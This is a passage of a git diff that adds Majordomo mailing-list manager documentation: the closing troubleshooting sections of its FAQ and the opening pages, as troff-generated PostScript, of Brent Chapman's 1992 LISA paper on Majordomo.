option to resend isn't being used on that list. + +An "Approval required" bounce means that the list is moderated, and the +message needs to be approved. (see section 3.10 of this FAQ) + +A "Message too long" bounce means that the message was longer than the +"maxlength" setting in the list config file. + +If you get any of these bounces messages and you think the mail is OK to +send to the list, you'll need to approve it. See the file +Doc/list-owner-info on the correct procedure(s) for approving mail with +Majordomo. It's also covered in section 3.10 of this FAQ. + +4.9 - My list configuration doesn't seem to be working. + +If you changed your list configuration and the list doesn't seem to be +behaving any differently, make sure that the list is being sent through +"resend". See the installation documentation and section 3.1 of this FAQ on +how to set up the aliases for the list correctly to pipe mail through +"resend". + +Other things to check would be that the arguments to "resend" are only "-h", +and "-l" (and perhaps "-C" if you use virtual domains). resend used to be +configured with other command line flags to do things such as have moderated +lists. However these flags override any config file settings, so remove them +if they are present. All configuration should be done now through the config +file. + +4.10 - How do I set it up so that the originator of a message doesn't get a +copy of his/her own message back? + +You can't. Sorry. The "metoo" setting in sendmail has no effect after a +message is piped through an external program. Unless you're willing to give +up piping messages through "resend", there's no way to stop this. + +4.11 - With Smail or Exim, users subscribing to a list sometimes get mail +sent before they subscribed + +[from Lazlo Nibble and Philip Hazel] +This is due to the way Smail and Exim deliver mail. With sendmail, it +expands its delivery list when the mail first arrives. If the list gets +changed, the message will still get delivered to the original recipient +list, since the original list is never referred to again. As sendmail +delivers mail, it removes addresses from its expanded list as they get +delivered. + +However Smail and Exim don't expand the list when the message is first +queued. Instead as they go through the queue of pending messages to deliver, +and maintain state on what addresses they have successfully delivered mail +to and compare that with the current list contents. As long as the message +is queued waiting for one or more addresses in the list, it will get sent to +any new recipients whenever the queue gets processed next. This is rather +unexpected for those used to sendmail's behavior. + +The advantage of smail and exim's approach is that if an address in your +list is unreachable (or has a bad .forward file), you can change the list +contents (or the .forward file) and the message will be delivered to the new +address when the queue next gets processed. It won't deliver to the old, bad +address. + +There really isn't an easy solution to this, but it's really not a serious +problem. + +4.12 - Majordomo doesn't seem to work with sendmail 8.9 + +The new security features of sendmail don't allow :include: directories to +be group writable. Unfortunately, by default these directories are group +writable with Majordomo. If you have this problem you will see errors from +sendmail like "Cannot open /path/name: Group writable directory" and +"aliasing/forwarding loop broken". + +One solution is to add: + +O DontBlameSendmail=groupwritabledirpathsafe + +in your sendmail.cf and restart sendmail. + +The other method (and generally the recommended one) is to remove the +group-write bit on the lists directory and any list files. Make sure also +any parent directories to not have the group or other write bit set. If +Majordomo is working correctly having group write permission is not +necessary. However, some people find it convenient to have group-write +access so users can be put in the majordomo group and not need root access +all the time to work on majordomo. + +4.13 - I can't get Majordomo to work with RedHat Linux + +If you are trying to use the Majordomo RPM, it is broken. The majordomo.cf +which comes with the RPM has the line + +$whereami = `hostname`; + +This is broken for two reasons. First, the hostname may not necessarily be a +fully-qualified domain name, and thus this won't generate a valid Internet +email address. Secondly, using `hostname` generates a linefeed character at +the end, which totally screws things up, and you end up getting blank lines +in headers (and you'll start to see headers appear in the body of the +message). + +The solution is to edit the line and put in your correct host name or mail +domain. + +A bug report has been filed with RedHat. + +RedHat 5.2 also ships with an interim (buggy) release of Perl, which does +not work with Majordomo. (you will get "Unknown mailer error 9" errors). +Download and install the updated Perl RPM from ftp://updates.redhat.com/. diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/majordomo.lisa6.ps b/update/scripts/packages/majordomo-1.94.5/Doc/majordomo.lisa6.ps new file mode 100644 index 0000000..ecae347 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/majordomo.lisa6.ps @@ -0,0 +1,8203 @@ +%! +%%Creator: troff->tpscript +%%CreationDate: Wed Sep 9 11:39:31 1992 +%%EndComments +/inch { 480 mul } bind def +/rotateit { /pgtop 11 inch def /pgwid 8.5 inch def newpath } bind def +/scaleit { 72 480 div dup scale rotateit 1 setlinecap} def +/unscaleit { 480 72 div dup scale} def +/RBKFontDict 9 dict def /NEWDict 10 dict def +RBKFontDict begin +/FontType 3 def +/FontName (RBK specials) cvn def +/FontMatrix [ 0.001 0 0 0.001 0 0] def +/FontBBox [ -50 -250 1000 1000 ] def +/Encoding 256 array def 0 1 255 { Encoding exch /.notdef put } for +Encoding +dup 2 /Csq put +dup 3 /Cci put +dup 4 /Cbx put +dup 5 /CSu put +dup 15 /Cbu put +pop +/CharProcs 24 dict dup begin + /setC { 0 -50 -250 1000 1000 setcachedevice} def +/Cbu { 0 0 moveto +600 setC +300 300 moveto 300 300 250 0 360 arc closepath fill } def +/Csq { 0 0 moveto +600 setC +50 50 moveto +500 0 rlineto 0 500 rlineto -500 0 rlineto closepath fill } def +/Cbx { 0 0 moveto +600 setC +70 setlinewidth +50 50 moveto 500 0 rlineto 0 500 rlineto -500 0 rlineto closepath stroke } def +/Cci { 0 0 moveto 600 setC +70 setlinewidth +550 300 moveto 300 300 250 0 360 arc closepath stroke } def +/CSu { +0 0 moveto +715 setC +700 700 scale +%% Kolstad & Horton/Polk 12/1989; Font: kolstad 6/24/90 +/divsq2 { 1.4142136 div } bind def /mulsq2 { 1.4142136 mul } bind def +/TW 0.62 def %% top width +/MG 0.12 def %% MidGap +/US TW 4 mul MG 6 mul add def %% Uside +/UL US TW sub MG sub def %% U length +/OR MG TW add def %% outradius +/T2 TW divsq2 def +/U2 UL divsq2 def +/M2 MG divsq2 def +/SU { %% sunU + currentpoint + T2 dup neg rlineto + U2 neg dup rlineto + currentpoint exch M2 add exch M2 sub MG 135 315 arc + U2 dup rlineto + T2 dup neg rlineto + U2 neg dup rlineto + currentpoint exch OR divsq2 sub exch OR divsq2 add OR 315 135 arcn + closepath + moveto +} def +/SU2 { SU currentpoint 0 US neg mulsq2 rmoveto 180 rotate SU -180 rotate + moveto } def + 1 US mulsq2 2 mul div dup scale + US divsq2 US mulsq2 US divsq2 add rmoveto + 4 { M2 2 mul M2 2 mul rmoveto US mulsq2 0 rmoveto 270 rotate SU2 } repeat +%% 0 setlinewidth stroke + fill +} def +end def + +/BuildChar +{ + NEWDict begin + /charcode exch def /fontdict exch def + fontdict /CharProcs get begin + fontdict /Encoding get + charcode get load + gsave 0 setlinecap 0 setgray newpath exec grestore + end end +} def +end +/RBKFont RBKFontDict definefont pop +%%%%%%%%%%%%%%% End special Font +scaleit 0 0 moveto +/pagebot { showpage restore } def +/pagetop { save } def +/lastpage {} def +/pt { 6.666667 mul } bind def +/y { neg 0 exch rmoveto } bind def +/X { U moveto } bind def +/Y { pgtop exch sub currentpoint pop exch dup /U exch def moveto } bind def +/s { show } bind def +/S { dup gsave show grestore + gsave true charpath 0 setgray stroke grestore } bind def +/l { neg rlineto currentpoint stroke dup /U exch def moveto } bind def +/c { +2 div /rad exch def currentpoint /y0 exch def /x0 exch def +newpath x0 rad add y0 rad 0 360 arc stroke +x0 rad add rad add y0 dup /U exch def moveto + } def +/a { +/y2 exch neg def /x2 exch def /y1 exch neg def /x1 exch def +x1 y1 rmoveto currentpoint +currentpoint +x2 x2 mul y2 y2 mul add sqrt +y1 neg x1 neg atan +y2 x2 atan +newpath arc stroke moveto x2 y2 rmoveto currentpoint /U exch def pop +} def +/e { +2 div /yrad exch def 2 div /xrad exch def +currentpoint /y0 exch def /x0 exch def +gsave x0 xrad add y0 translate xrad yrad scale +LS xrad yrad gt {xrad} {yrad} ifelse div setlinewidth +newpath 0 0 1 0 360 arc stroke grestore +x0 xrad add xrad add y0 dup /U exch def moveto +} def +/spln { +rcurveto currentpoint stroke dup /U exch def moveto +} def + +% stolen from greenbook page 115-116 +/F { findfont exch scalefont setfont } bind def +/RE { % re-encode + findfont begin + currentdict dup length dict begin + { 1 index /FID ne {def} {pop pop} ifelse } forall + /FontName exch def dup length 0 ne { % if + /Encoding Encoding 256 array copy def + 0 exch + { % forall + dup type /nametype eq % if? + { Encoding 2 index 2 index put pop 1 add } + { exch pop } + ifelse + } forall + } if + pop currentdict dup + end + end + /FontName get exch definefont pop +} bind def + +% use make.remap to make new stdencodings: +/stdencoding [ 1 /multiply /ntilde /eth /otilde /oacute /idieresis +/Ocircumflex /ograve /onequarter /scaron /uacute /odieresis +/Ucircumflex /ugrave /yacute /Thorn /zcaron /udieresis /threequarters +/threesuperior /ydieresis /aring /Ccedilla /twosuperior /acircumflex +/Atilde /Aacute /Agrave /ecircumflex /Eacute /copyright 127 /Adieresis +/Egrave /icircumflex /Iacute /onehalf /Edieresis /Igrave /Ntilde /Eth +/ocircumflex /Otilde /Oacute /Idieresis /mu /Ograve /Scaron +/ucircumflex /Uacute /Odieresis /Ugrave /Yacute /thorn /degree +/logicalnot /minus /Zcaron /Udieresis /registered /plusminus /ccedilla +/Ydieresis /Aring /atilde /aacute 176 /Acircumflex 181 /divide 190 +/brokenbar 192 /agrave 201 /eacute 204 /Ecircumflex 209 /adieresis +/egrave /onesuperior /trademark /iacute /Icircumflex /edieresis /igrave +] def +/specdwidth 0 def /LS 0 def +/setwidth {/specdwidth 1 def dup /LS exch def setlinewidth} def +/ft { /fonttype exch def /xsiz exch def /ysiz exch def /sl exch def + fonttype [ xsiz pt 0 sl sin sl cos div ysiz pt mul ysiz pt 0 0 ] + makefont setfont + specdwidth 0 eq {xsiz 4 div dup /LS exch def setlinewidth} if + setgray } def +/Z { specdwidth 0 eq {dup 4 div dup /LS exch def setlinewidth} if + pt scalefont setfont } bind def +/M { pgtop exch sub moveto } bind def +/L { pgtop exch sub lineto } bind def +/cbox { gsave 100 div setgray +currentpoint /nowy exch def /nowx exch def +/radius exch def /boxdown exch def /boxover exch def +currentpoint newpath moveto radius 0 rmoveto +nowx boxover add nowy nowx boxover add nowy boxdown sub radius arcto +pop pop pop pop +nowx boxover add nowy boxdown sub nowx nowy boxdown sub radius arcto +pop pop pop pop +nowx nowy boxdown sub nowx nowy radius arcto pop pop pop pop +nowx nowy nowx boxover add nowy radius arcto pop pop pop pop +currentgray 1.0 ne { gsave fill grestore } if 0 setgray stroke +grestore } bind def +/f.Y /RBKFont findfont def + +0 Y +save +%%EndProlog + +0 Y +%%Page: 1 1 +pagetop +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +0.00 0.0 10 10 f.R ft +672 X +521 Y +722 X +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 22 Z(Majordomo:)s +1567 X(How)s +1908 X(I)s +2013 X(Manage)s +2565 X(17)s +2759 X(Mailing)s +3296 X(Lists)s +672 X +667 Y +1006 X(Without)s +1575 X(Answering)s +2298 X(")s +2379 X(-request")s +3020 X(Mail)s +600 X +835 Y +1419 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 12 Z(D)s +1477 X(.)s +1523 X(Brent)s +1727 X(Chapman)s +2064 X(\261)s +2130 X +f.R 12 Z(Great)s +2335 X(Circle)s +2557 X(Associates)s +840 X +1011 Y +1912 X +f.B 12 Z(ABSTRACT)s +840 X +1145 Y +984 X +f.R 10 Z(Majordomo)s +1339 X(is)s +1425 X(a)s +1496 X(perl)s +1642 X(program)s +1909 X(written)s +2141 X(to)s +2235 X(handle)s +2455 X(routine)s +2686 X(administration)s +3115 X(of)s +3212 X(Internet)s +840 X +1218 Y(mailing)s +1086 X(lists)s +1236 X(with)s +1396 X(as)s +1493 X(little)s +1659 X(human)s +1881 X(intervention)s +2245 X(as)s +2342 X(possible)s +2561 X(.)s +2641 X(Modeled)s +2919 X(after)s +3082 X(the)s +3204 X(Listserv)s +840 X +1291 Y(implementation)s +1261 X(s)s +1316 X(common)s +1578 X(on)s +1673 X(BITNET)s +1939 X(\(but)s +2075 X(unfortunately)s +2463 X(rare)s +2596 X(on)s +2691 X(the)s +2803 X(Internet\),)s +3080 X(it)s +3148 X(automates)s +840 X +1364 Y(the)s +948 X(administration)s +1361 X(of)s +1441 X(mailing)s +1671 X(lists)s +1805 X(by)s +1896 X(allowing)s +2155 X(users)s +2317 X(to)s +2394 X(perform)s +2633 X(the)s +2740 X(most)s +2895 X(frequent)s +3142 X(operations)s +840 X +1437 Y(\("subscribe")s +1218 X(and)s +1364 X("unsubscribe"\))s +1808 X(themselves,)s +2173 X(while)s +2372 X(allowing)s +2656 X(the)s +2788 X(list)s +2921 X(owners)s +3164 X(to)s +3267 X(either)s +840 X +1510 Y("approve")s +1135 X(each)s +1285 X(of)s +1367 X(these)s +1532 X(operations)s +1837 X(\(or)s +1941 X(initiate)s +2156 X(them)s +2317 X(on)s +2410 X(behalf)s +2603 X(of)s +2684 X(a)s +2740 X(user\),)s +2916 X(or)s +2997 X(merely)s +3209 X(monitor)s +840 X +1583 Y(them)s +1016 X(as)s +1115 X(they)s +1273 X(are)s +1398 X(automatically)s +1807 X(approved)s +2054 X(.)s +2136 X(It)s +2220 X(also)s +2371 X(automates)s +2686 X(response)s +2962 X(to)s +3057 X(certain)s +3283 X(other)s +840 X +1656 Y(common)s +1109 X(queries)s +1338 X(from)s +1502 X(users,)s +1691 X(such)s +1848 X(as)s +1939 X("what)s +2131 X(lists)s +2275 X(are)s +2392 X(served)s +2601 X(by)s +2702 X(this)s +2834 X(Majordomo)s +3183 X(server?",)s +840 X +1729 Y("what)s +1031 X(is)s +1110 X(the)s +1226 X(topic)s +1394 X(of)s +1483 X(list)s +1600 X('foobar'?",)s +1925 X("who)s +2100 X(is)s +2179 X(already)s +2410 X(on)s +2511 X(list)s +2629 X('foobar'?",)s +2955 X(and)s +3086 X("which)s +3311 X(lists)s +840 X +1802 Y(managed)s +1103 X(by)s +1191 X(this)s +1310 X(Majordomo)s +1646 X(server)s +1831 X(am)s +1935 X(I)s +1979 X(already)s +2198 X(on?")s +2321 X(.)s +840 X +1896 Y +984 X(Majordomo)s +1336 X(allows)s +1549 X(individual)s +1858 X(list)s +1979 X(owners)s +2210 X(to)s +2301 X(manage)s +2548 X(their)s +2710 X(own)s +2863 X(lists)s +3011 X(\(subscribe)s +3324 X(and)s +840 X +1969 Y(unsubscribe)s +1192 X(users,)s +1379 X(and)s +1508 X(change)s +1730 X(the)s +1845 X(general)s +2075 X(information)s +2423 X(message)s +2683 X(for)s +2793 X(their)s +2949 X(list\))s +3087 X(without)s +3324 X(any)s +840 X +2042 Y(action)s +1035 X(by)s +1132 X(the)s +1245 X(overall)s +1462 X(Majordomo)s +1807 X(owner)s +1973 X(.)s +2043 X(It)s +2115 X(serves)s +2313 X(both)s +2462 X("open")s +2676 X(lists)s +2816 X(\(where)s +3032 X(users)s +3200 X(can)s +3324 X(add)s +840 X +2115 Y(themselves)s +1162 X(to)s +1238 X(the)s +1344 X(list,)s +1468 X(and)s +1588 X(the)s +1694 X(list)s +1801 X(owner)s +1991 X(is)s +2060 X(merely)s +2270 X(informed)s +2537 X(of)s +2615 X(this)s +2735 X(action\))s +2944 X(and)s +3063 X("closed")s +3311 X(lists)s +840 X +2188 Y(\(where)s +1048 X(a)s +1101 X(subscription)s +1450 X(request)s +1667 X(from)s +1820 X(a)s +1874 X(user)s +2009 X(generates)s +2286 X(an)s +2373 X(approval)s +2630 X(request)s +2847 X(from)s +3000 X(the)s +3106 X(Majordomo)s +840 X +2261 Y(server)s +1025 X(to)s +1099 X(the)s +1203 X(list)s +1308 X(owner,)s +1513 X(who)s +1649 X(can)s +1764 X(then)s +1901 X(either)s +2076 X(approve)s +2312 X(or)s +2389 X(ignore)s +2581 X(the)s +2685 X(request\))s +2900 X(.)s +840 X +2355 Y +984 X(Finally,)s +1213 X(all)s +1303 X(interactions)s +1639 X(with)s +1781 X(Majordomo)s +2118 X(by)s +2207 X(both)s +2348 X(users)s +2508 X(and)s +2627 X(list)s +2733 X(owners)s +2948 X(take)s +3083 X(place)s +3248 X(totally)s +840 X +2428 Y(by)s +940 X(electronic)s +1239 X(mail,)s +1410 X(so)s +1503 X(users)s +1674 X(and)s +1804 X(list)s +1921 X(owners)s +2147 X(do)s +2247 X(not)s +2366 X(require)s +2589 X(login)s +2760 X(access)s +2965 X(\(nor)s +3108 X(even)s +3267 X(direct)s +840 X +2501 Y(TCP/IP)s +1062 X(connectivity\))s +1437 X(to)s +1511 X(the)s +1615 X(machine)s +1864 X(Majordomo)s +2200 X(is)s +2267 X(running)s +2495 X(on,)s +2600 X(and)s +2718 X(no)s +2807 X(special)s +3017 X(client)s +3190 X(software)s +840 X +2574 Y(is)s +907 X(required)s +1129 X(.)s +600 X +2720 Y +1150 X +f.B 10 Z(Introduction)s +600 X +2829 Y +744 X +f.R 10 Z(Anyone)s +994 X(who)s +1148 X(has)s +1277 X(ever)s +1432 X(managed)s +1714 X(a)s +1785 X(signi\256cant)s +600 X +2902 Y(electronic)s +906 X(mailing)s +1151 X(list)s +1274 X(by)s +1380 X(hand)s +1549 X(\(which)s +1774 X(is,)s +1876 X(on)s +1982 X(the)s +600 X +2975 Y(Internet)s +831 X(at)s +903 X(least,)s +1067 X(the)s +1172 X(usual)s +1336 X(method\))s +1581 X(knows)s +1778 X(how)s +1916 X(much)s +600 X +3048 Y(time)s +757 X(it)s +831 X(takes)s +1005 X(to)s +1093 X(process)s +1329 X(the)s +1447 X(endless)s +1680 X(requests)s +1935 X(from)s +600 X +3121 Y(users)s +762 X(of)s +842 X(the)s +950 X(form)s +1105 X("please)s +1326 X(subscribe)s +1604 X(me)s +1712 X(to)s +1790 X(your)s +1937 X(list",)s +600 X +3194 Y("please)s +825 X(unsubscribe)s +1173 X(me)s +1285 X(from)s +1444 X(your)s +1595 X(list",)s +1752 X("please)s +1977 X(tell)s +600 X +3267 Y(me)s +704 X(about)s +874 X(your)s +1017 X(list",)s +1166 X("please)s +1383 X(tell)s +1492 X(me)s +1596 X(if)s +1659 X(I'm)s +1778 X(already)s +1998 X(on)s +600 X +3340 Y(your)s +748 X(list",)s +902 X(and)s +1025 X(so)s +1111 X(forth)s +1240 X(.)s +1306 X(It's)s +1421 X(a)s +1477 X(time)s +1597 X(-consuming,)s +1954 X(bor-)s +600 X +3413 Y(ing,)s +724 X(repetitive)s +1000 X(task;)s +1149 X(just)s +1268 X(the)s +1372 X(sort)s +1494 X(of)s +1572 X(thing)s +1732 X(that's)s +1904 X(a)s +1957 X(per-)s +600 X +3486 Y(fect)s +723 X(candidate)s +1002 X(to)s +1076 X(be)s +1161 X(automated)s +1440 X(.)s +600 X +3580 Y +744 X(When)s +926 X(SAGE)s +1123 X(\(the)s +1250 X(System)s +1470 X(Administrators)s +1895 X(Guild,)s +600 X +3653 Y(a)s +668 X(USENIX)s +949 X(Special)s +1184 X(Technical)s +1486 X(Group\))s +1714 X(was)s +1855 X(formed,)s +600 X +3726 Y(the)s +718 X(founding)s +993 X(members)s +1274 X(decided)s +1518 X(to)s +1607 X(establish)s +1879 X(over)s +2034 X(a)s +600 X +3799 Y(dozen)s +785 X(mailing)s +1016 X(lists)s +1151 X(for)s +1254 X(various)s +1476 X(purposes)s +1737 X(\(one)s +1880 X(for)s +1982 X(the)s +600 X +3872 Y(board)s +789 X(of)s +883 X(directors,)s +1173 X(one)s +1308 X(for)s +1424 X(each)s +1586 X(of)s +1680 X(the)s +1801 X(16)s +1906 X(initial)s +600 X +3945 Y(working)s +857 X(groups,)s +1090 X(one)s +1221 X(the)s +1338 X(chairs)s +1533 X(of)s +1623 X(all)s +1726 X(the)s +1843 X(working)s +600 X +4018 Y(groups,)s +840 X(and)s +979 X(so)s +1081 X(forth\))s +1232 X(.)s +1314 X(The)s +1461 X(USENIX)s +1748 X(Association)s +600 X +4091 Y(volunteered)s +950 X(the)s +1066 X(USENIX)s +1310 X(.ORG)s +1501 X(machine)s +1762 X(as)s +1852 X(a)s +1916 X(home)s +600 X +4164 Y(for)s +720 X(these)s +901 X(mailing)s +1149 X(lists,)s +1318 X(but)s +1446 X(didn't)s +1649 X(have)s +1819 X(the)s +1945 X(staff)s +600 X +4237 Y(resources)s +882 X(to)s +964 X(set)s +1069 X(up)s +1165 X(and)s +1291 X(operate)s +1518 X(the)s +1630 X(mailing)s +1865 X(lists)s +1974 X(.)s +2042 X(I)s +600 X +4310 Y(volunteered)s +938 X(to)s +1013 X(act)s +1115 X(as)s +1194 X(Postmaster)s +1511 X(for)s +1611 X(SAGE,)s +1826 X(and)s +1946 X(han-)s +600 X +4383 Y(dle)s +710 X(all)s +806 X(the)s +916 X(mailing)s +1149 X(lists)s +1258 X(.)s +1324 X(As)s +1425 X(an)s +1515 X(independent)s +1868 X(consul-)s +600 X +4456 Y(tant,)s +740 X(my)s +847 X(schedule)s +1103 X(is)s +1170 X(rather)s +1348 X(erratic,)s +1559 X(and)s +1677 X(I)s +1722 X(don't)s +1885 X(have)s +2034 X(a)s +600 X +4529 Y(company)s +872 X(paying)s +1081 X(my)s +1194 X(salary)s +1382 X(while)s +1559 X(I)s +1608 X(pursue)s +1812 X(volunteer)s +600 X +4602 Y(work)s +761 X(like)s +887 X(this;)s +1028 X(thus,)s +1181 X(I)s +1228 X(wished)s +1442 X(to)s +1519 X(automate)s +1790 X(the)s +1897 X(job)s +2008 X(as)s +600 X +4675 Y(much)s +787 X(as)s +881 X(possible,)s +1155 X(so)s +1252 X(that)s +1391 X(I)s +1451 X(could)s +1637 X(provide)s +1878 X(a)s +1946 X(high)s +600 X +4748 Y(level)s +794 X(of)s +912 X(service)s +1166 X(to)s +1282 X(the)s +1428 X(users)s +1629 X(\(including)s +1967 X(fast)s +2256 X +2720 Y(turnaround)s +2572 X(on)s +2663 X(their)s +2811 X(requests\))s +3077 X(while)s +3251 X(spending)s +3515 X(as)s +3595 X(little)s +2256 X +2793 Y(time)s +2400 X(as)s +2480 X(possible)s +2723 X(in)s +2800 X(the)s +2907 X(long)s +3050 X(run)s +3163 X(on)s +3254 X(administrivia)s +3608 X(.)s +3672 X(A)s +2256 X +2866 Y(BITNET)s +2493 X(-style)s +2672 X(Listserv)s +2918 X(seemed)s +3149 X(to)s +3231 X(be)s +3324 X(an)s +3416 X(appropriate)s +2256 X +2939 Y(solution,)s +2510 X(so)s +2591 X(I)s +2635 X(started)s +2836 X(investigating)s +3204 X(alternatives)s +3514 X(.)s +2256 X +3066 Y +2678 X +f.B 10 Z(De\256ning)s +2941 X(the)s +3052 X(Problem)s +2256 X +3175 Y +2400 X +f.R 10 Z(The)s +2538 X(\256rst)s +2676 X(step)s +2818 X(was)s +2956 X(to)s +3042 X(identify)s +3284 X(just)s +3415 X(what)s +3580 X(func-)s +2256 X +3248 Y(tionality)s +2523 X(I)s +2588 X(desired)s +2781 X(.)s +2863 X(First)s +3029 X(and)s +3167 X(foremost,)s +3463 X(I)s +3527 X(wanted)s +2256 X +3321 Y(something)s +2559 X(that)s +2685 X(would)s +2876 X(handle)s +3079 X(routine)s +3293 X("subscribe")s +3624 X(and)s +2256 X +3394 Y("unsubscribe")s +2653 X(requests)s +2897 X(automatically,)s +3305 X(with)s +3449 X(no)s +3539 X(human)s +2256 X +3467 Y(intervention)s +2613 X(required)s +2869 X(for)s +2980 X(routine)s +3203 X(requests)s +3457 X(\(though)s +3698 X(I)s +2256 X +3540 Y(wanted)s +2478 X(to)s +2559 X(give)s +2703 X(the)s +2814 X(owner)s +3009 X(of)s +3093 X(a)s +3152 X(given)s +3329 X(list)s +3440 X(the)s +3550 X(option)s +2256 X +3613 Y(of)s +2338 X(passing)s +2565 X(judgement)s +2874 X(on)s +2967 X(all)s +3062 X(subscription)s +3415 X(requests,)s +3679 X(if)s +2256 X +3686 Y(they)s +2404 X(so)s +2496 X(desired\))s +2711 X(.)s +2783 X(Second,)s +3029 X(I)s +3084 X(wanted)s +3309 X(something)s +3619 X(that)s +2256 X +3759 Y(could)s +2443 X(easily)s +2639 X(handle)s +2856 X(many)s +3043 X(mailing)s +3288 X(lists)s +3437 X(simultane-)s +2256 X +3832 Y(ously;)s +2451 X(I)s +2505 X(had)s +2633 X(17)s +2731 X(to)s +2815 X(begin)s +2995 X(with,)s +3162 X(and)s +3289 X(I)s +3342 X(was)s +3477 X(sure)s +3619 X(that)s +2256 X +3905 Y(more)s +2437 X(would)s +2648 X(be)s +2756 X(added)s +2960 X(as)s +3061 X(time)s +3226 X(passed)s +3404 X(.)s +3488 X(Third,)s +3698 X(I)s +2256 X +3978 Y(wanted)s +2489 X(something)s +2807 X(that)s +2948 X(could)s +3136 X(automatically)s +3542 X(handle)s +2256 X +4051 Y(other)s +2430 X(user)s +2578 X(requests)s +2834 X(\(such)s +3015 X(as)s +3108 X("what)s +3302 X(lists)s +3448 X(are)s +3567 X(avail-)s +2256 X +4124 Y(able?",)s +2489 X("please)s +2731 X(tell)s +2865 X(me)s +2994 X(about)s +3188 X(list)s +3317 X('foobar'",)s +3624 X(and)s +2256 X +4197 Y("which)s +2469 X(of)s +2547 X(your)s +2691 X(lists)s +2823 X(am)s +2928 X(I)s +2974 X(on?"\))s +3143 X(that,)s +3285 X(while)s +3458 X(less)s +3583 X(com-)s +2256 X +4270 Y(mon)s +2406 X(than)s +2553 X("subscribe")s +2891 X(and)s +3019 X("unsubscribe",)s +3439 X(still)s +3572 X(occur)s +2256 X +4343 Y(relatively)s +2532 X(frequently)s +2806 X(.)s +2256 X +4437 Y +2400 X(The)s +2533 X(\256rst)s +2666 X(thing)s +2832 X(I)s +2883 X(did)s +2998 X(was)s +3132 X(look)s +3280 X(around)s +3494 X(for)s +3601 X(suit-)s +2256 X +4510 Y(able)s +2403 X(publicly)s +2657 X(available)s +2934 X(software)s +3198 X(that)s +3333 X(might)s +3523 X(already)s +2256 X +4583 Y(exist,)s +2430 X(or)s +2515 X(that)s +2646 X(might)s +2832 X(be)s +2925 X(easily)s +3113 X(adapted)s +3352 X(to)s +3435 X(my)s +3551 X(needs)s +3703 X(.)s +2256 X +4656 Y(Searches)s +2524 X(of)s +2609 X(the)s +2721 X(common)s +2984 X(Internet)s +3221 X(software)s +3480 X(archives,)s +2256 X +4729 Y(queries)s +2490 X(to)s +2583 X(the)s +2706 X("Archie")s +2983 X(anonymous)s +3330 X(FTP)s +3487 X(indexing)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(135)s +5280 Y +pagebot + +%%Page: 136 2 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(service,)s +605 X(and)s +739 X(email)s +927 X(to)s +1017 X(certain)s +1238 X(acquaintances)s +1651 X(who)s +1802 X(I)s +360 X +521 Y(thought)s +592 X(might)s +777 X(know)s +953 X(of)s +1037 X(such)s +1188 X(software)s +1447 X(produced)s +1724 X(two)s +360 X +594 Y(results:)s +587 X(an)s +683 X(implementation)s +1137 X(of)s +1225 X(the)s +1339 X(BITNET)s +1608 X(Listserv)s +360 X +667 Y(written)s +578 X(in)s +659 X(C)s +732 X(for)s +838 X(UNIX)s +1033 X(\(from)s +1213 X(the)s +1324 X(comp)s +1472 X(.sources)s +1689 X(.unix)s +360 X +740 Y(archives\),)s +674 X(and)s +822 X(several)s +1063 X(different)s +1344 X(programs)s +1646 X(named)s +360 X +813 Y("listserv")s +630 X(written)s +842 X(in)s +916 X(perl)s +1020 X(.)s +360 X +907 Y +504 X(I)s +555 X(\256rst)s +688 X(examined)s +977 X(the)s +1089 X(BITNET)s +1356 X(Listserv)s +1602 X(C)s +1676 X(pack-)s +360 X +980 Y(age)s +479 X(from)s +634 X(the)s +742 X(comp)s +890 X(.sources)s +1107 X(.unix)s +1268 X(newsgroup)s +1584 X(archives)s +1807 X(.)s +360 X +1053 Y(It)s +433 X(looked)s +646 X(like)s +779 X(it)s +849 X(would)s +1047 X(do)s +1145 X(most)s +1308 X(of)s +1396 X(what)s +1559 X(I)s +1614 X(wanted,)s +360 X +1126 Y(but)s +473 X(it)s +539 X(also)s +675 X(looked)s +884 X(like)s +1012 X(it)s +1077 X(did)s +1189 X(a)s +1246 X(lot)s +1344 X(of)s +1426 X(things)s +1616 X(I)s +1665 X(didn't)s +360 X +1199 Y(really)s +544 X(care)s +687 X(about)s +866 X(\(there)s +1053 X(appeared)s +1325 X(to)s +1408 X(be)s +1503 X(features)s +1747 X(for)s +360 X +1272 Y(coordinating)s +752 X(activities)s +1051 X(between)s +1329 X(multiple)s +1608 X(Listserv)s +360 X +1345 Y(servers)s +600 X(on)s +717 X(different)s +999 X(machines,)s +1321 X(for)s +1450 X(instance\))s +1692 X(.)s +1783 X(It)s +360 X +1418 Y(appeared)s +636 X(to)s +723 X(be)s +821 X(rather)s +1012 X(short)s +1180 X(on)s +1280 X(documentation,)s +1728 X(and)s +360 X +1491 Y(what)s +531 X(documentation)s +969 X(there)s +1144 X(was)s +1290 X(seemed)s +1533 X(to)s +1627 X(assume)s +360 X +1564 Y(that)s +496 X(the)s +613 X(reader)s +815 X(was)s +954 X(already)s +1186 X(familiar)s +1434 X(with)s +1587 X(BITNET)s +360 X +1637 Y(Listserv)s +601 X(implementation)s +1047 X(and)s +1168 X(operation)s +1420 X(.)s +1485 X(All)s +1597 X(in)s +1675 X(all,)s +1786 X(it)s +360 X +1710 Y(looked)s +574 X(like)s +708 X(it)s +779 X(would)s +978 X(be)s +1073 X(a)s +1135 X(real)s +1268 X(headache)s +1549 X(for)s +1658 X(me)s +1772 X(to)s +360 X +1783 Y(install,)s +570 X(con\256gure,)s +867 X(and)s +992 X(maintain,)s +1273 X(since)s +1440 X(I'm)s +1565 X +stdencoding /NTimes-Italic 